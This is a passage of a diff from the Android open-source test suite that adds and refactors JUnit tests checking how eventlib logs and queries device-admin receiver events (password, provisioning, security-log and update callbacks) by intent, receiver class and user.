+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminPasswordExpiringEvent> eventLogs =
+                DeviceAdminPasswordExpiringEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_skipsNonMatching() {
+        DeviceAdminPasswordExpiringEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminPasswordExpiringEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminPasswordExpiringEvent> eventLogs =
+                DeviceAdminPasswordExpiringEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_works() {
+        DeviceAdminPasswordExpiringEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT).log();
+
+        EventLogs<DeviceAdminPasswordExpiringEvent> eventLogs =
+                DeviceAdminPasswordExpiringEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_skipsNonMatching() {
+        DeviceAdminPasswordExpiringEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminPasswordExpiringEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .log();
+
+        EventLogs<DeviceAdminPasswordExpiringEvent> eventLogs =
+                DeviceAdminPasswordExpiringEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereUserHandle_works() {
+        DeviceAdminPasswordExpiringEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setUserHandle(USER_HANDLE)
+                .log();
+
+        EventLogs<DeviceAdminPasswordExpiringEvent> eventLogs =
+                DeviceAdminPasswordExpiringEvent.queryPackage(sContext.getPackageName())
+                        .whereUser().isEqualTo(USER_HANDLE);
+
+        assertThat(eventLogs.poll().user()).isEqualTo(USER_HANDLE);
+    }
+
+    @Test
+    public void whereUserHandle_skipsNonMatching() {
+        DeviceAdminPasswordExpiringEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setUserHandle(DIFFERENT_USER_HANDLE)
+                .log();
+        DeviceAdminPasswordExpiringEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setUserHandle(USER_HANDLE)
+                .log();
+
+        EventLogs<DeviceAdminPasswordExpiringEvent> eventLogs =
+                DeviceAdminPasswordExpiringEvent.queryPackage(sContext.getPackageName())
+                        .whereUser().isEqualTo(USER_HANDLE);
+
+        assertThat(eventLogs.poll().user()).isEqualTo(USER_HANDLE);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordFailedEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordFailedEventTest.java
index 09123c5..1b0b90b 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordFailedEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordFailedEventTest.java
@@ -34,8 +34,7 @@
 @RunWith(JUnit4.class)
 public final class DeviceAdminPasswordFailedEventTest {
 
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final Context sContext = TestApis.context().instrumentedContext();
     private static final String STRING_VALUE = "Value";
     private static final String DIFFERENT_STRING_VALUE = "Value2";
     private static final Intent INTENT = new Intent();
@@ -60,8 +59,7 @@
 
     @Test
     public void whereIntent_works() {
-        Intent intent = new Intent();
-        intent.setAction(STRING_VALUE);
+        Intent intent = new Intent(STRING_VALUE);
         DeviceAdminPasswordFailedEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent).log();
 
         EventLogs<DeviceAdminPasswordFailedEvent> eventLogs =
@@ -73,8 +71,7 @@
 
     @Test
     public void whereIntent_skipsNonMatching() {
-        Intent intent = new Intent();
-        intent.setAction(STRING_VALUE);
+        Intent intent = new Intent(STRING_VALUE);
         Intent differentIntent = new Intent();
         differentIntent.setAction(DIFFERENT_STRING_VALUE);
         DeviceAdminPasswordFailedEvent.logger(
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordSucceededEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordSucceededEventTest.java
index 2ea281e..4b0c948 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordSucceededEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminPasswordSucceededEventTest.java
@@ -34,8 +34,7 @@
 @RunWith(JUnit4.class)
 public final class DeviceAdminPasswordSucceededEventTest {
 
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final Context sContext = TestApis.context().instrumentedContext();
     private static final String STRING_VALUE = "Value";
     private static final String DIFFERENT_STRING_VALUE = "Value2";
     private static final Intent INTENT = new Intent();
@@ -60,8 +59,7 @@
 
     @Test
     public void whereIntent_works() {
-        Intent intent = new Intent();
-        intent.setAction(STRING_VALUE);
+        Intent intent = new Intent(STRING_VALUE);
         DeviceAdminPasswordSucceededEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent).log();
 
         EventLogs<DeviceAdminPasswordSucceededEvent> eventLogs =
@@ -73,8 +71,7 @@
 
     @Test
     public void whereIntent_skipsNonMatching() {
-        Intent intent = new Intent();
-        intent.setAction(STRING_VALUE);
+        Intent intent = new Intent(STRING_VALUE);
         Intent differentIntent = new Intent();
         differentIntent.setAction(DIFFERENT_STRING_VALUE);
         DeviceAdminPasswordSucceededEvent.logger(
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminProfileProvisioningCompleteEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminProfileProvisioningCompleteEventTest.java
new file mode 100644
index 0000000..7cea89a
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminProfileProvisioningCompleteEventTest.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserHandle;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class DeviceAdminProfileProvisioningCompleteEventTest {
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+    private static final String STRING_VALUE = "Value";
+    private static final String DIFFERENT_STRING_VALUE = "Value2";
+    private static final Intent INTENT = new Intent();
+
+    private static final String DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            TestDeviceAdminReceiver.class.getName();
+    private static final String CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver";
+    private static final String DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver2";
+    private static final DeviceAdminReceiver DEVICE_ADMIN_RECEIVER = new TestDeviceAdminReceiver();
+    private static final UserHandle USER_HANDLE = UserHandle.of(1);
+    private static final UserHandle DIFFERENT_USER_HANDLE = UserHandle.of(2);
+
+    private static class TestDeviceAdminReceiver extends DeviceAdminReceiver {
+    }
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereIntent_works() {
+        Intent intent = new Intent(STRING_VALUE);
+        DeviceAdminProfileProvisioningCompleteEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent).log();
+
+        EventLogs<DeviceAdminProfileProvisioningCompleteEvent> eventLogs =
+                DeviceAdminProfileProvisioningCompleteEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereIntent_skipsNonMatching() {
+        Intent intent = new Intent(STRING_VALUE);
+        Intent differentIntent = new Intent();
+        differentIntent.setAction(DIFFERENT_STRING_VALUE);
+        DeviceAdminProfileProvisioningCompleteEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, differentIntent).log();
+        DeviceAdminProfileProvisioningCompleteEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent).log();
+
+        EventLogs<DeviceAdminProfileProvisioningCompleteEvent> eventLogs =
+                DeviceAdminProfileProvisioningCompleteEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_works() {
+        DeviceAdminProfileProvisioningCompleteEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminProfileProvisioningCompleteEvent> eventLogs =
+                DeviceAdminProfileProvisioningCompleteEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_skipsNonMatching() {
+        DeviceAdminProfileProvisioningCompleteEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminProfileProvisioningCompleteEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminProfileProvisioningCompleteEvent> eventLogs =
+                DeviceAdminProfileProvisioningCompleteEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_works() {
+        DeviceAdminProfileProvisioningCompleteEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT).log();
+
+        EventLogs<DeviceAdminProfileProvisioningCompleteEvent> eventLogs =
+                DeviceAdminProfileProvisioningCompleteEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_skipsNonMatching() {
+        DeviceAdminProfileProvisioningCompleteEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminProfileProvisioningCompleteEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .log();
+
+        EventLogs<DeviceAdminProfileProvisioningCompleteEvent> eventLogs =
+                DeviceAdminProfileProvisioningCompleteEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminReadyForUserInitializationEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminReadyForUserInitializationEventTest.java
new file mode 100644
index 0000000..9f3db19
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminReadyForUserInitializationEventTest.java
@@ -0,0 +1,150 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.os.UserHandle;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class DeviceAdminReadyForUserInitializationEventTest {
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+    private static final String STRING_VALUE = "Value";
+    private static final String DIFFERENT_STRING_VALUE = "Value2";
+    private static final Intent INTENT = new Intent();
+
+    private static final String DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            TestDeviceAdminReceiver.class.getName();
+    private static final String CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver";
+    private static final String DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver2";
+    private static final DeviceAdminReceiver DEVICE_ADMIN_RECEIVER = new TestDeviceAdminReceiver();
+    private static final UserHandle USER_HANDLE = UserHandle.of(1);
+    private static final UserHandle DIFFERENT_USER_HANDLE = UserHandle.of(2);
+
+    private static class TestDeviceAdminReceiver extends DeviceAdminReceiver {
+    }
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereIntent_works() {
+        Intent intent = new Intent(STRING_VALUE);
+        DeviceAdminReadyForUserInitializationEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent).log();
+
+        EventLogs<DeviceAdminReadyForUserInitializationEvent> eventLogs =
+                DeviceAdminReadyForUserInitializationEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereIntent_skipsNonMatching() {
+        Intent intent = new Intent(STRING_VALUE);
+        Intent differentIntent = new Intent();
+        differentIntent.setAction(DIFFERENT_STRING_VALUE);
+        DeviceAdminReadyForUserInitializationEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, differentIntent).log();
+        DeviceAdminReadyForUserInitializationEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent).log();
+
+        EventLogs<DeviceAdminReadyForUserInitializationEvent> eventLogs =
+                DeviceAdminReadyForUserInitializationEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_works() {
+        DeviceAdminReadyForUserInitializationEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminReadyForUserInitializationEvent> eventLogs =
+                DeviceAdminReadyForUserInitializationEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_skipsNonMatching() {
+        DeviceAdminReadyForUserInitializationEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminReadyForUserInitializationEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminReadyForUserInitializationEvent> eventLogs =
+                DeviceAdminReadyForUserInitializationEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className().isEqualTo(
+                        CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_works() {
+        DeviceAdminReadyForUserInitializationEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT).log();
+
+        EventLogs<DeviceAdminReadyForUserInitializationEvent> eventLogs =
+                DeviceAdminReadyForUserInitializationEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_skipsNonMatching() {
+        DeviceAdminReadyForUserInitializationEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminReadyForUserInitializationEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .log();
+
+        EventLogs<DeviceAdminReadyForUserInitializationEvent> eventLogs =
+                DeviceAdminReadyForUserInitializationEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSecurityLogsAvailableEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSecurityLogsAvailableEventTest.java
new file mode 100644
index 0000000..94178e0
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSecurityLogsAvailableEventTest.java
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.deviceadminreceivers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class DeviceAdminSecurityLogsAvailableEventTest {
+
+    private static final Context sContext = TestApis.context().instrumentedContext();
+    private static final String STRING_VALUE = "Value";
+    private static final String DIFFERENT_STRING_VALUE = "Value2";
+    private static final Intent INTENT = new Intent();
+
+    private static final String DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            TestDeviceAdminReceiver.class.getName();
+    private static final String CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver";
+    private static final String DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME =
+            "customDeviceAdminReceiver2";
+    private static final DeviceAdminReceiver DEVICE_ADMIN_RECEIVER = new TestDeviceAdminReceiver();
+
+    private static class TestDeviceAdminReceiver extends DeviceAdminReceiver {
+    }
+
+    @Before
+    public void setUp() {
+        EventLogs.resetLogs();
+    }
+
+    @Test
+    public void whereIntent_works() {
+        Intent intent = new Intent(STRING_VALUE);
+        DeviceAdminSecurityLogsAvailableEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent).log();
+
+        EventLogs<DeviceAdminSecurityLogsAvailableEvent> eventLogs =
+                DeviceAdminSecurityLogsAvailableEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereIntent_skipsNonMatching() {
+        Intent intent = new Intent(STRING_VALUE);
+        Intent differentIntent = new Intent();
+        differentIntent.setAction(DIFFERENT_STRING_VALUE);
+        DeviceAdminSecurityLogsAvailableEvent.logger(
+                DEVICE_ADMIN_RECEIVER, sContext, differentIntent).log();
+        DeviceAdminSecurityLogsAvailableEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, intent).log();
+
+        EventLogs<DeviceAdminSecurityLogsAvailableEvent> eventLogs =
+                DeviceAdminSecurityLogsAvailableEvent.queryPackage(sContext.getPackageName())
+                        .whereIntent().action().isEqualTo(STRING_VALUE);
+
+        assertThat(eventLogs.poll().intent()).isEqualTo(intent);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_works() {
+        DeviceAdminSecurityLogsAvailableEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminSecurityLogsAvailableEvent> eventLogs =
+                DeviceAdminSecurityLogsAvailableEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_customValueOnLogger_skipsNonMatching() {
+        DeviceAdminSecurityLogsAvailableEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(DIFFERENT_CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminSecurityLogsAvailableEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+
+        EventLogs<DeviceAdminSecurityLogsAvailableEvent> eventLogs =
+                DeviceAdminSecurityLogsAvailableEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className()).isEqualTo(
+                CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_works() {
+        DeviceAdminSecurityLogsAvailableEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT).log();
+
+        EventLogs<DeviceAdminSecurityLogsAvailableEvent> eventLogs =
+                DeviceAdminSecurityLogsAvailableEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+
+    @Test
+    public void whereDeviceAdminReceiver_defaultValue_skipsNonMatching() {
+        DeviceAdminSecurityLogsAvailableEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .setDeviceAdminReceiver(CUSTOM_DEVICE_ADMIN_RECEIVER_CLASS_NAME)
+                .log();
+        DeviceAdminSecurityLogsAvailableEvent.logger(DEVICE_ADMIN_RECEIVER, sContext, INTENT)
+                .log();
+
+        EventLogs<DeviceAdminSecurityLogsAvailableEvent> eventLogs =
+                DeviceAdminSecurityLogsAvailableEvent.queryPackage(sContext.getPackageName())
+                        .whereDeviceAdminReceiver().broadcastReceiver().receiverClass().className()
+                        .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+
+        assertThat(eventLogs.poll().deviceAdminReceiver().className())
+                .isEqualTo(DEFAULT_DEVICE_ADMIN_RECEIVER_CLASS_NAME);
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSystemUpdatePendingEventTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSystemUpdatePendingEventTest.java
index 3265f90..c087c25 100644
--- a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSystemUpdatePendingEventTest.java
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/events/deviceadminreceivers/DeviceAdminSystemUpdatePendingEventTest.java
@@ -33,8 +33,7 @@
 @RunWith(JUnit4.class)
 public final class DeviceAdminSystemUpdatePendingEventTest {
 
-    private static final TestApis sTestApis = new TestApis();
-    private static final Context sContext = sTestApis.context().instrumentedContext();
+    private static final Context sContext = TestApis.context().instrumentedContext();
     private static final String STRING_VALUE = "Value";
